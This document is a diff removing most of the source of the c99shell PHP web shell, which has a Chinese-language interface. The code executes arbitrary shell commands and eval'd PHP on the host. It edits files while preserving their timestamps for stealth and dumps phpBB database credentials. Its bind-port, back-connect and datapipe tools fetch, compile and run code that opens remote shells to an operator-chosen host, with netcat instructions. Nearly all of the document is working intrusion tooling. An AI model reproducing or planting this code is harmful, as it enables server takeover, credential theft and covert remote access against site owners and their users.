- if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
- elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
- elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
- if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
- elseif ($actpastebuff)
- {
- $psterr = "";
- foreach($sess_data["copy"] as $k=>$v)
- {
- $to = $d.basename($v);
- if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
- if ($copy_unset) {unset($sess_data["copy"][$k]);}
- }
- foreach($sess_data["cut"] as $k=>$v)
- {
- $to = $d.basename($v);
- if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
- unset($sess_data["cut"][$k]);
- }
- c99_sess_put($sess_data);
- if (!empty($psterr)) {echo "粘贴出错: ".$psterr;}
- $act = "ls";
- }
- elseif ($actarcbuff)
- {
- $arcerr = "";
- if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
- else {$ext = ".tar.gz";}
- if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
- $cmdline .= " ".$actarcbuff_path;
- $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
- foreach($objects as $v)
- {
- $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
- if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
- if (is_dir($v))
- {
- if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
- $v .= "*";
- }
- $cmdline .= " ".$v;
- }
- $tmp = realpath(".");
- chdir($d);
- $ret = myshellexec($cmdline);
- chdir($tmp);
- if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
- $ret = str_replace("\r\n","\n",$ret);
- $ret = explode("\n",$ret);
- if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
- foreach($sess_data["cut"] as $k=>$v)
- {
- if (in_array($v,$ret)) {fs_rmobj($v);}
- unset($sess_data["cut"][$k]);
- }
- c99_sess_put($sess_data);
- if (!empty($arcerr)) {echo "Archivation 错误: ".$arcerr;}
- $act = "ls";
- }
- elseif ($actpastebuff)
- {
- $psterr = "";
- foreach($sess_data["copy"] as $k=>$v)
- {
- $to = $d.basename($v);
- if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
- if ($copy_unset) {unset($sess_data["copy"][$k]);}
- }
- foreach($sess_data["cut"] as $k=>$v)
- {
- $to = $d.basename($v);
- if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
- unset($sess_data["cut"][$k]);
- }
- c99_sess_put($sess_data);
- if (!empty($psterr)) {echo "粘贴出错: ".$psterr;}
- $act = "ls";
- }
-}
-if ($act == "cmd")
-{
-if (trim($cmd) == "ps -aux") {$act = "processes";}
-elseif (trim($cmd) == "tasklist") {$act = "processes";}
-else
-{
- @chdir($chdir);
- if (!empty($submit))
- {
- echo "指令执行结果 : ";
- $olddir = realpath(".");
- @chdir($d);
- $ret = myshellexec($cmd);
- $ret = convert_cyr_string($ret,"d","w");
- if ($cmd_txt)
- {
- $rows = count(explode("\r\n",$ret))+1;
- if ($rows < 10) {$rows = 10;}
- echo "".htmlspecialchars($ret)." ";
- }
- else {echo $ret." ";}
- @chdir($olddir);
- }
- else {echo "执行指令 "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
- echo "".htmlspecialchars($cmd)." 显示在文本区域 ";
-}
-}
-if ($act == "ls")
-{
- if (count($ls_arr) > 0) {$list = $ls_arr;}
- else
- {
- $list = array();
- if ($h = @opendir($d))
- {
- while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
- closedir($h);
- }
- else {}
- }
- if (count($list) == 0) {echo "不能打开磁盘 (".htmlspecialchars($d).")! ";}
- else
- {
- //Building array
- $objects = array();
- $vd = "f"; //Viewing mode
- if ($vd == "f")
- {
- $objects["head"] = array();
- $objects["folders"] = array();
- $objects["links"] = array();
- $objects["files"] = array();
- foreach ($list as $v)
- {
- $o = basename($v);
- $row = array();
- if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
- elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
- elseif (is_dir($v))
- {
- if (is_link($v)) {$type = "LINK";}
- else {$type = "DIR";}
- $row[] = $v;
- $row[] = $type;
- }
- elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
- $row[] = filemtime($v);
- if (!$win)
- {
- $ow = posix_getpwuid(fileowner($v));
- $gr = posix_getgrgid(filegroup($v));
- $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
- }
- $row[] = fileperms($v);
- if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
- elseif (is_link($v)) {$objects["links"][] = $row;}
- elseif (is_dir($v)) {$objects["folders"][] = $row;}
- elseif (is_file($v)) {$objects["files"][] = $row;}
- $i++;
- }
- $row = array();
- $row[] = "文件名称 ";
- $row[] = "文件大小 ";
- $row[] = "创建与修改时间 ";
- if (!$win)
- {$row[] = "Owner/Group ";}
- $row[] = "权限 ";
- $row[] = "支持行为 ";
- $parsesort = parsesort($sort);
- $sort = $parsesort[0].$parsesort[1];
- $k = $parsesort[0];
- if ($parsesort[1] != "a") {$parsesort[1] = "d";}
- $y = "";
- $y .= " ";
- $row[$k] .= $y;
- for($i=0;$i".$row[$i]."";}
- }
- $v = $parsesort[0];
- usort($objects["folders"], "tabsort");
- usort($objects["links"], "tabsort");
- usort($objects["files"], "tabsort");
- if ($parsesort[1] == "d")
- {
- $objects["folders"] = array_reverse($objects["folders"]);
- $objects["files"] = array_reverse($objects["files"]);
- }
- $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
- $tab = array();
- $tab["cols"] = array($row);
- $tab["head"] = array();
- $tab["folders"] = array();
- $tab["links"] = array();
- $tab["files"] = array();
- $i = 0;
- foreach ($objects as $a)
- {
- $v = $a[0];
- $o = basename($v);
- $dir = dirname($v);
- if ($disp_fullpath) {$disppath = $v;}
- else {$disppath = $o;}
- $disppath = str2mini($disppath,60);
- if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
- elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
- foreach ($regxp_highlight as $r)
- {
- if (ereg($r[0],$o))
- {
- if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! 配置错误 in \$regxp_highlight[".$k."][0] - 未知指令."; c99shexit();}
- else
- {
- $r[1] = round($r[1]);
- $isdir = is_dir($v);
- if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
- {
- if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
- $disppath = $r[2].$disppath.$r[3];
- if ($r[4]) {break;}
- }
- }
- }
- }
- $uo = urlencode($o);
- $ud = urlencode($dir);
- $uv = urlencode($v);
- $row = array();
- if ($o == ".")
- {
- $row[] = " ".$o." ";
- $row[] = "LINK";
- }
- elseif ($o == "..")
- {
- $row[] = " ".$o." ";
- $row[] = "LINK";
- }
- elseif (is_dir($v))
- {
- if (is_link($v))
- {
- $disppath .= " => ".readlink($v);
- $type = "LINK";
- $row[] = " [".$disppath."] ";
- }
- else
- {
- $type = "DIR";
- $row[] = " [".$disppath."] ";
- }
- $row[] = $type;
- }
- elseif(is_file($v))
- {
- $ext = explode(".",$o);
- $c = count($ext)-1;
- $ext = $ext[$c];
- $ext = strtolower($ext);
- $row[] = " ".$disppath." ";
- $row[] = view_size($a[1]);
- }
- $row[] = date("d.m.Y H:i:s",$a[2]);
- if (!$win) {$row[] = $a[3];}
- $row[] = "".view_perms_color($v)." ";
- if ($o == ".") {$checkbox = " "; $i--;}
- else {$checkbox = " ";}
- if (is_dir($v)) {$row[] = " ".$checkbox;}
- else {$row[] = " ".$checkbox;}
- if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
- elseif (is_link($v)) {$tab["links"][] = $row;}
- elseif (is_dir($v)) {$tab["folders"][] = $row;}
- elseif (is_file($v)) {$tab["files"][] = $row;}
- $i++;
- }
- }
- // Compiling table
- $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
- echo "列出文件夹 (".count($tab["files"])." 文件和 ".(count($tab["folders"])+count($tab["links"]))." 文件夹): o0↑謎誷↓0o:文件权限说明提示***[drwxrwxrwx]→[d]目录[rwx]拥有者[r-x]同组用户[r-x]其他用户 [r]代表可读[w]代表可写[x]代表可以执行 ";
- foreach($table as $row)
- {
- echo "\r\n";
- foreach($row as $v) {echo "".$v." \r\n";}
- echo " \r\n";
- }
- echo "
-
-
- ";
- if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
- {
- echo " ";
- }
- echo "选择: ";
- echo "删除 ";
- echo "更改属性 ";
- if ($usefsbuff)
- {
- echo "剪切 ";
- echo "复制 ";
- echo "反选 ";
- }
- echo "
";
- echo "";
- }
-}
-if ($act == "tools")
-{
- $bndportsrcs = array(
- "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
- "c99sh_bindport.c"=>array("Using C","%path %port %pass")
- );
- $bcsrcs = array(
- "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
- "c99sh_backconn.c"=>array("Using C","%path %host %port")
- );
- $dpsrcs = array(
- "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
- "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
- );
- if (!is_array($bind)) {$bind = array();}
- if (!is_array($bc)) {$bc = array();}
- if (!is_array($datapipe)) {$datapipe = array();}
-
- if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
- if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
-
- if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
- if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
-
- if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
- if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
- if (!empty($bindsubmit))
- {
- echo "绑定端口回显: ";
- $v = $bndportsrcs[$bind["src"]];
- if (empty($v)) {echo "未知文件! ";}
- elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "端口已经被使用,请选择其他端口! ";}
- else
- {
- $w = explode(".",$bind["src"]);
- $ext = $w[count($w)-1];
- unset($w[count($w)-1]);
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if ($ext == "pl") {$binpath = $srcpath;}
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if (!$fp) {echo "不能写信息进 \"".$srcpath."\"! ";}
- elseif (!$data = c99getsource($bind["src"])) {echo "不能下载资源!";}
- else
- {
- fwrite($fp,$data,strlen($data));
- fclose($fp);
- if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%port",$bind["port"],$v[1]);
- $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- sleep(5);
- $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
- if (!$sock) {echo "不能连接到 localhost:".$bind["port"]."! 我想你应该配置你的防火墙!.";}
- else {echo "绑定中... ok!连接到 ".getenv("SERVER_ADDR").":".$bind["port"]." ! 你应该使用 NetCat©, 运行 \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!查看绑定的进程 ";}
- }
- echo " ";
- }
- }
- if (!empty($bcsubmit))
- {
- echo "返回连接信息: ";
- $v = $bcsrcs[$bc["src"]];
- if (empty($v)) {echo "未知文件! ";}
- else
- {
- $w = explode(".",$bc["src"]);
- $ext = $w[count($w)-1];
- unset($w[count($w)-1]);
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if ($ext == "pl") {$binpath = $srcpath;}
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if (!$fp) {echo "不能写信息进 \"".$srcpath."\"! ";}
- elseif (!$data = c99getsource($bc["src"])) {echo "无法下载资源!";}
- else
- {
- fwrite($fp,$data,strlen($data));
- fclose($fp);
- if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%host",$bc["host"],$v[1]);
- $v[1] = str_replace("%port",$bc["port"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- echo "脚本现在尝试连接到 ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."... ";
- }
- }
- }
- if (!empty($dpsubmit))
- {
- echo "返回数据管道信息: ";
- $v = $dpsrcs[$datapipe["src"]];
- if (empty($v)) {echo "未知文件! ";}
- elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "端口已经被使用,请选择其他端口! ";}
- else
- {
- $srcpath = $tmpdir.$datapipe["src"];
- $w = explode(".",$datapipe["src"]);
- $ext = $w[count($w)-1];
- unset($w[count($w)-1]);
- $srcpath = join(".",$w).".".rand(0,999).".".$ext;
- $binpath = $tmpdir.join(".",$w).rand(0,999);
- if ($ext == "pl") {$binpath = $srcpath;}
- @unlink($srcpath);
- $fp = fopen($srcpath,"ab+");
- if (!$fp) {echo "不能写信息进 \"".$srcpath."\"! ";}
- elseif (!$data = c99getsource($datapipe["src"])) {echo "无法下载资源!";}
- else
- {
- fwrite($fp,$data,strlen($data));
- fclose($fp);
- if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
- list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
- $v[1] = str_replace("%path",$binpath,$v[1]);
- $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
- $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
- $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
- $v[1] = str_replace("//","/",$v[1]);
- $retbind = myshellexec($v[1]." > /dev/null &");
- sleep(5);
- $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
- if (!$sock) {echo "我无法连接到 localhost:".$datapipe["localport"]."! 我想你应该配置你的防火墙.";}
- else {echo "数据管道运行中... ok! 连接到 ".getenv("SERVER_ADDR").":".$datapipe["port"].", 你将连接到 ".$datapipe["remoteaddr"]." ! 你应该使用 NetCat©, 运行 \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]." \"!查看数据管道进程 ";}
- }
- echo " ";
- }
- }
- ?>
- 绑定端口:
- 端口:
- "> 密码:
- "> $v) {echo "".$v[0]." ";}
- ?>
-
-
- 返回连接:
-
- 主机:
- "> 端口:
- "> $v) {echo "".$v[0]." ";}
-?>
-
- 只有在您打开端口后才能点击连接. 你应该使用 NetCat©(简称NC), 执行命令 "nc -l -n -v -p "!
- 数据管道:
-
- 主机:
- "> 本地端口:
- "> $v) {echo "".$v[0]." ";}
-?>
-
- 注意: 资源将会从远程主机服务器上下载. 进程: ";
- if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
- else {$handler = "tasklist";}
- $ret = myshellexec($handler);
- if (!$ret) {echo "不能执行 \"".$handler."\"!";}
- else
- {
- if (empty($processes_sort)) {$processes_sort = $sort_default;}
- $parsesort = parsesort($processes_sort);
- if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
- $k = $parsesort[0];
- if ($parsesort[1] != "a") {$y = " ";}
- else {$y = " ";}
- $ret = htmlspecialchars($ret);
- if (!$win)
- {
- if ($pid)
- {
- if (is_null($sig)) {$sig = 9;}
- echo "发送信息 ".$sig." to #".$pid."... ";
- if (posix_kill($pid,$sig)) {echo "OK.";}
- else {echo "错误.";}
- }
- while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
- $stack = explode("\n",$ret);
- $head = explode(" ",$stack[0]);
- unset($stack[0]);
- for($i=0;$i".$head[$i]." ";}
- }
- $prcs = array();
- foreach ($stack as $line)
- {
- if (!empty($line))
-{
- echo "";
- $line = explode(" ",$line);
- $line[10] = join(" ",array_slice($line,10));
- $line = array_slice($line,0,11);
- if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
- $line[] = "KILL ";
- $prcs[] = $line;
- echo " ";
- }
- }
- }
- else
- {
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
- while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
- $ret = convert_cyr_string($ret,"d","w");
- $stack = explode("\n",$ret);
- unset($stack[0],$stack[2]);
- $stack = array_values($stack);
- $head = explode("",$stack[0]);
- $head[1] = explode(" ",$head[1]);
- $head[1] = $head[1][0];
- $stack = array_slice($stack,1);
- unset($head[2]);
- $head = array_values($head);
- if ($parsesort[1] != "a") {$y = " ";}
- else {$y = " ";}
- if ($k > count($head)) {$k = count($head)-1;}
- for($i=0;$i".trim($head[$i])." ";}
- }
- $prcs = array();
- foreach ($stack as $line)
- {
- if (!empty($line))
- {
- echo "";
- $line = explode("",$line);
- $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
- $line[2] = intval(str_replace(" ","",$line[2]))*1024;
- $prcs[] = $line;
- echo " ";
- }
- }
- }
- $head[$k] = "".$head[$k]." ".$y;
- $v = $processes_sort[0];
- usort($prcs,"tabsort");
- if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
- $tab = array();
- $tab[] = $head;
- $tab = array_merge($tab,$prcs);
- echo "";
- foreach($tab as $i=>$k)
- {
- echo "";
- foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
- echo " ";
- }
- echo "
";
- }
-}
-if ($act == "eval")
-{
- if (!empty($eval))
- {
- echo "执行此段PHP-Coad的结果 : ";
- $tmp = ob_get_contents();
- $olddir = realpath(".");
- @chdir($d);
- if ($tmp)
- {
- ob_clean();
- eval($eval);
- $ret = ob_get_contents();
- $ret = convert_cyr_string($ret,"d","w");
- ob_clean();
- echo $tmp;
- if ($eval_txt)
- {
- $rows = count(explode("\r\n",$ret))+1;
- if ($rows < 10) {$rows = 10;}
- echo "".htmlspecialchars($ret)." ";
- }
- else {echo $ret." ";}
- }
- else
- {
- if ($eval_txt)
- {
- echo "";
- eval($eval);
- echo " ";
- }
- else {echo $ret;}
- }
- @chdir($olddir);
- }
- else {echo "执行 PHP-code "; if (empty($eval_txt)) {$eval_txt = TRUE;}}
- echo "".htmlspecialchars($eval)." 显示在文本区域 ";
-}
-if ($act == "f")
-{
- if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
- {
- if (file_exists($d.$f)) {echo "权限拒绝 (".htmlspecialchars($d.$f).")! ";}
- else {echo "文件不存在 (".htmlspecialchars($d.$f).")! Create ";}
- }
- else
- {
- $r = @file_get_contents($d.$f);
- $ext = explode(".",$f);
- $c = count($ext)-1;
- $ext = $ext[$c];
- $ext = strtolower($ext);
- $rft = "";
- foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
- if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
- if (empty($ft)) {$ft = $rft;}
- $arr = array(
- array(" ","info"),
- array(" ","html"),
- array(" ","txt"),
- array("代码","code"),
- array("Session","phpsess"),
- array(" ","exe"),
- array("SDB","sdb"),
- array(" ","img"),
- array(" ","ini"),
- array(" ","download"),
- array(" ","notepad"),
- array(" ","edit")
- );
- echo "浏览文件: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)." 选择文件类型: ";
- foreach($arr as $t)
- {
- if ($t[1] == $rft) {echo " ".$t[0]." ";}
- elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
- else {echo " ".$t[0]." ";}
- echo " (+ ) |";
- }
- echo " ";
- if ($ft == "info")
- {
- echo "信息: 路径 ".$d.$f." 大小 ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." ";
- if (!$win)
- {
- echo "用户/组 ";
- $ow = posix_getpwuid(fileowner($d.$f));
- $gr = posix_getgrgid(filegroup($d.$f));
- echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
- }
- echo " 允许 ".view_perms_color($d.$f)." 文件创建时间 ".date("d/m/Y H:i:s",filectime($d.$f))." 上次访问时间 ".date("d/m/Y H:i:s",fileatime($d.$f))." 最后修改时间 ".date("d/m/Y H:i:s",filemtime($d.$f))."
";
- $fi = fopen($d.$f,"rb");
- if ($fi)
- {
- if ($fullhexdump) {echo "FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
- else {echo "HEXDUMP 预览 "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
- $n = 0;
- $a0 = "00000000 ";
- $a1 = "";
- $a2 = "";
- for ($i=0; $i";}
- $a1 .= " ";
- $a2 .= " ";
- }
- }
- //if ($a1 != "") {$a0 .= sprintf("%08X",$i)." ";}
- echo " ";
- }
- $encoded = "";
- if ($base64 == 1)
- {
- echo "Base64 编码 ";
- $encoded = base64_encode(file_get_contents($d.$f));
- }
- elseif($base64 == 2)
- {
- echo "Base64 编码 + Chunk ";
- $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
- }
- elseif($base64 == 3)
- {
- echo "Base64 Encode + Chunk + Quotes ";
- $encoded = base64_encode(file_get_contents($d.$f));
- $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
- }
- elseif($base64 == 4)
- {
- $text = file_get_contents($d.$f);
- $encoded = base64_decode($text);
- echo "Base64 编译";
- if (base64_encode($encoded) != $text) {echo " (failed)";}
- echo " ";
- }
- if (!empty($encoded))
- {
- echo "".htmlspecialchars($encoded)." ";
- }
- echo "HEXDUMP: [空 ] [预览 ]Base64:
-[编码 ]
-[+chunk ]
-[+chunk+quotes ]
-[解码 ]
-";
- }
- elseif ($ft == "html")
- {
- if ($white) {@ob_clean();}
- echo $r;
- if ($white) {c99shexit();}
- }
- elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
- elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
- elseif ($ft == "phpsess")
- {
- echo "";
- $v = explode("|",$r);
- echo $v[0]." ";
- var_dump(unserialize($v[1]));
- echo " ";
- }
- elseif ($ft == "exe")
- {
- $ext = explode(".",$f);
- $c = count($ext)-1;
- $ext = $ext[$c];
- $ext = strtolower($ext);
- $rft = "";
- foreach($exeftypes as $k=>$v)
- {
- if (in_array($ext,$v)) {$rft = $k; break;}
- }
- $cmd = str_replace("%f%",$f,$rft);
- echo "执行文件: Display in text-area ";
- }
- elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
- elseif ($ft == "code")
- {
- if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
- {
- $arr = explode("\n",$r);
- if (count($arr == 18))
- {
- include($d.$f);
- echo "phpBB 培植文件无法在此文件中查出! ";
- if ($dbms == "mysql4") {$dbms = "mysql";}
- if ($dbms == "mysql") {echo "Connect to DB ";}
- else {echo "因此你不能连接到论坛的SQL SERVER, 因为 db-software=\"".$dbms."\" 不是有 c99shell.提供.请使用传真回复我们.";}
- echo "手工连接参量: ";
- $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
- foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
- echo " ";
- }
- }
- echo "";
- if (!empty($white)) {@ob_clean();}
- highlight_file($d.$f);
- if (!empty($white)) {c99shexit();}
- echo "
";
- }
- elseif ($ft == "download")
- {
- @ob_clean();
- header("Content-type: application/octet-stream");
- header("Content-length: ".filesize($d.$f));
- header("Content-disposition: attachment; filename=\"".$f."\";");
- echo $r;
- exit;
- }
- elseif ($ft == "notepad")
- {
- @ob_clean();
- header("Content-type: text/plain");
- header("Content-disposition: attachment; filename=\"".$f.".txt\";");
- echo($r);
- exit;
- }
- elseif ($ft == "img")
- {
- $inf = getimagesize($d.$f);
- if (!$white)
- {
- if (empty($imgsize)) {$imgsize = 20;}
- $width = $inf[0]/100*$imgsize;
- $height = $inf[1]/100*$imgsize;
- echo "大小: ";
- $sizes = array("100","50","20");
- foreach ($sizes as $v)
- {
- echo "";
- if ($imgsize != $v ) {echo $v;}
- else {echo "".$v." ";}
- echo " ";
- }
- echo " ";
- }
- else
- {
- @ob_clean();
- $ext = explode($f,".");
- $ext = $ext[count($ext)-1];
- header("Content-type: ".$inf["mime"]);
- readfile($d.$f);
- exit;
- }
- }
- elseif ($ft == "edit")
- {
- if (!empty($submit))
- {
- if ($filestealth) {$stat = stat($d.$f);}
- $fp = fopen($d.$f,"w");
- if (!$fp) {echo "无法写入此文件! ";}
- else
- {
- echo "已保存! ";
- fwrite($fp,$edit_text);
- fclose($fp);
- if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
- $r = $edit_text;
- }
- }
- $rows = count(explode("\r\n",$r));
- if ($rows < 10) {$rows = 10;}
- if ($rows > 30) {$rows = 30;}
- echo " ".htmlspecialchars($r)." ";
- }
- elseif (!empty($ft)) {echo "手工选择的类型是不正确的.如果您认为这是一个错误发送给我们连接URL并丢弃 \$GLOBALS. ";}
- else {echo "未知扩展 (".$ext."), 请手工选择类型. ";}
- }
-}
-}
-else
-{
- @ob_clean();
- $images = array(
-"arrow_ltr"=>
-"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
-"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
-"back"=>
-"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
-"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
-"Wg0JADs=",
-"buffer"=>
-"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
-"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
-"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
-"change"=>
-"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
-"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
-"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
-"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
-"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
-"zMshADs=",
-"delete"=>
-"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
-"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
-"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
-"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
-"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
